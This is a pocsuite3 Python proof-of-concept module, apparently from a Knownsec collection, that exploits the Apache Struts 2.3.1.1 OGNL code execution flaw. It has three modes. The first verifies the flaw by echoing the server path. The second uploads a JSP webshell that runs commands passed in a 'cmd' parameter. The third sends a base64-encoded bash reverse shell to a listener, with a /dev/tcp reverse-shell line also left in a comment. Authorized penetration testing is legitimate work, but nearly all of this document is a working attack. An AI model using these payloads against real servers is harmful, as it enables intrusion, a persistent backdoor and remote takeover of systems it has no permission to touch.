Struts 2.3.1.1 命令执行漏洞

""" If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md for more about information, plz visit http://pocsuite.org """ from pocsuite3.api import Output, POCBase, register_poc, requests, logger from pocsuite3.lib.utils import random_str from urllib.parse import urlparse from urllib.parse import urljoin import re import lxml from lxml.html import tostring from lxml import etree from pocsuite3.api import get_listener_ip, get_listener_port from pocsuite3.api import REVERSE_PAYLOAD from urllib.parse import quote import base64 class DemoPOC(POCBase): vulID = '0914' # ssvid version = '1.0' author = ['chenghs@knownsec.com'] vulDate = '2012-01-22' createDate = '2013-03-25' updateDate = '2013-03-25' references = ['http://www.exploit-db.com/exploits/24874/'] name = 'Struts 2.3.1.1 命令执行漏洞' appPowerLink = 'http://struts.apache.org/' appName = 'struts' appVersion = '2.3.1.1' vulType = 'Code Execution' desc = '''struts2(小于等于2.3.1.1的版本）应用中有代码执行漏洞，攻击者可利用这个漏洞方便地部署webshell''' samples = [] install_requires = ['lxml'] def isSameDomain(self,url1,url2): p1 = urlparse(url1) p2 = urlparse(url2) if p1.netloc != p2.netloc: return False return True def getLink(self, url): '''使用正则得到页面中.action和.do链接''' rnt = [] page_content = requests.get(url).text match = re.findall(r'''(?:href|action|src)\s*?=\s*?(?:"|')\s*?([^'"]*?\.(?:action|do))''', page_content) for item_url in match: if 'http' not in item_url: item_url = urljoin(url, item_url) if self.isSameDomain(item_url, url): rnt.append(item_url) return rnt def check(self, url): # 用于校验的随机字符串 checkCode = random_str(10) check_Code_part1 = checkCode[:5] check_Code_part2 = checkCode[5:] propertyName = "class.classLoader.jarPath" req_confirm = "{0}=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%23req%3D%40org.apache.struts2.ServletActionContext@getRequest(),%23rep%3D%40org.apache.struts2.ServletActionContext@getResponse(),%23webStr%3Dnew%20byte[51020],%23rep.getWriter().println(new%20java.lang.StringBuilder(%22{2}%22).append(%22{3}%22).append(%22~~not_exist_in_html~~%22).append(%23req.getRealPath(%22%2F%22)).append(%22~3.1415621~%22).toString())%2c%23rep.getWriter().flush())%28{1}%29&z[%28{0}%29%28%27{1}%27%29]=true".format( propertyName, random_str(4), check_Code_part1, check_Code_part2) url_request = url + "?" + req_confirm r = requests.get(url_request) if checkCode in r.text: match = re.findall(r'''~~not_exist_in_html~~(.+)~3.1415621~''', r.text) if match: return (url_request,match[0]) else: return (url_request,None) def _verify(self): result = {} # 获取域名访问后的跳转地址 url_redirect = requests.get(self.url).url if not self.isSameDomain(url_redirect, self.url): url_redirect = self.url # 从网页中找到链接 url_action = self.getLink(url_redirect) url_actions = list(set([url_redirect, self.url] + url_action)) for t in url_actions: r, path = self.check(t) if r: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = r if path: result["VerifyInfo"]["extra"] = path return self.parse_output(result) # 拿到form里的input和action的url， 为下一步提交payload做准备 def getActionProperitesFromForm(self, urlWithForm): try: r = requests.get(urlWithForm) page_content = r.text except Exception as e: return {} page = lxml.html.fromstring(page_content) dirs = {} for f in page.forms: actionName = f.action if not actionName and not "" == actionName: # 有的页面form没有action, 它用js操作。 continue formHTMlContent = tostring(f) page = etree.HTML(formHTMlContent) inputs = page.xpath(u"//form//input[@type='text' or @type='hidden']") dirs['"' + actionName + '"'] = inputs return dirs def sanitateUrl(self, url): p = re.compile('http://[^/\s\?\#]+') m = p.match(url) if m: url = m.group() return url def getActionUrl(self, url, actionValue): if url in actionValue: # 对应着Action里直接把域名也写上的情况 return actionValue if actionValue.startswith('"'): actionValue = actionValue[1:] if actionValue.endswith('"'): actionValue = actionValue[:-1] if not actionValue.startswith("/"): actionValue = "/" + actionValue return self.sanitateUrl(url) + actionValue def sendHackRequest(self,actionValue,inputs): filename = random_str(4) + ".jsp" payLoadForA = "{0}=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%23rep%3D%40org.apache.struts2.ServletActionContext@getResponse(),%23req%3D%40org.apache.struts2.ServletActionContext@getRequest(),%23fos%3Dnew%20java.io.FileOutputStream(new%20java.lang.StringBuilder(%23req.getRealPath(%22%2F%22)).append(@java.io.File@separator).append(%22" + filename + "%22).toString()),%23fos.write(%23req.getParameter(%22t%22).getBytes()),%23fos.close(),%23rep.getWriter().println(%22HiJacked by safdafd%22))%28{1}%29&z[%28{0}%29%28%27{1}%27%29]=true" postDataList = [] if inputs and len(inputs) > 0: inputName = inputs[0].attrib["name"] ranStr = random_str(4) pForName = payLoadForA.format(inputName, ranStr) postDataList.append(pForName) data_attack = '''t=%3C%25%40%20page%20import%3D%22java.util.*%2Cjava.io.*%22%25%3Ethis_is_not_exist_jboss_shell%3A%3Cpre%3E%3C%25if%20(request.getParameter(%22cmd%22)%20!%3D%20null)%7BProcess%20p%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22))%3BOutputStream%20os%20%3D%20p.getOutputStream()%3BInputStream%20in%20%3D%20p.getInputStream()%3BDataInputStream%20dis%20%3D%20new%20DataInputStream(in)%3BString%20disr%20%3D%20dis.readLine()%3Bwhile%20(%20disr%20!%3D%20null)%7Bout.println(disr)%3Bdisr%20%3D%20dis.readLine()%3B%7D%7D%25%3E%3C%2Fpre%3E''' postDataList.append(data_attack) postData = '&'.join(postDataList) formActionUrl = self.getActionUrl(self.url, actionValue) r = requests.post(formActionUrl, data=postData) page_content = r.text # 如果返回页面为空，则漏洞不存在 if len(page_content) == 0: return None urlInner = self.sanitateUrl(self.url) if not urlInner.endswith("/"): urlInner = urlInner + "/" webshell = urlInner + filename try: r = requests.get(webshell) if r.status_code == 200: io_info = {} io_info['ShellInfo'] = {} io_info['ShellInfo']['URL'] = webshell io_info['ShellInfo'][ 'Content'] = '<%@ page import="java.util.*,java.io.*"%>this_is_not_exist_jboss_shell:<pre><%if (request.getParameter("cmd") != null){Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null){out.println(disr);disr = dis.readLine();}}%></pre>' # webshell 内容 return webshell except Exception as e: pass def _attack(self): result = {} forms = self.getActionProperitesFromForm(self.url) if len(forms) == 0: return for actionValue, inputs in forms.items(): f = self.sendHackRequest(actionValue, inputs) if f: return f return self._verify() def exec_cmd(self, cmd, key, url): """执行命令""" exec_payload = '''%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29%29%28meh%29&z[%28{key}%29%28%27meh%27%29]=true''' payload = exec_payload.format(cmd=quote(cmd), key=key) tt = url + "&{key}={payload}".format(key=key, payload=payload) r = requests.get(tt) def _shell(self): cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()) # cmd = "bash -c 'sh -i >& /dev/tcp/docker.for.mac.localhost/888 0>&1'" cmd = base64.b64encode(cmd.encode()) shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}".replace("SHELL", cmd.decode()) keys = ["name"] forms = self.getActionProperitesFromForm(self.url) if len(forms) == 0: for k in keys: self.exec_cmd(shell, k, self.url) for actionValue, inputs in forms.items(): datalist = [] formActionUrl = self.getActionUrl(self.url, actionValue) if inputs and len(inputs) > 0: inputName = inputs[0].attrib["name"] datalist.append(inputName) for k in datalist: self.exec_cmd(shell, k, formActionUrl) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output register_poc(DemoPOC)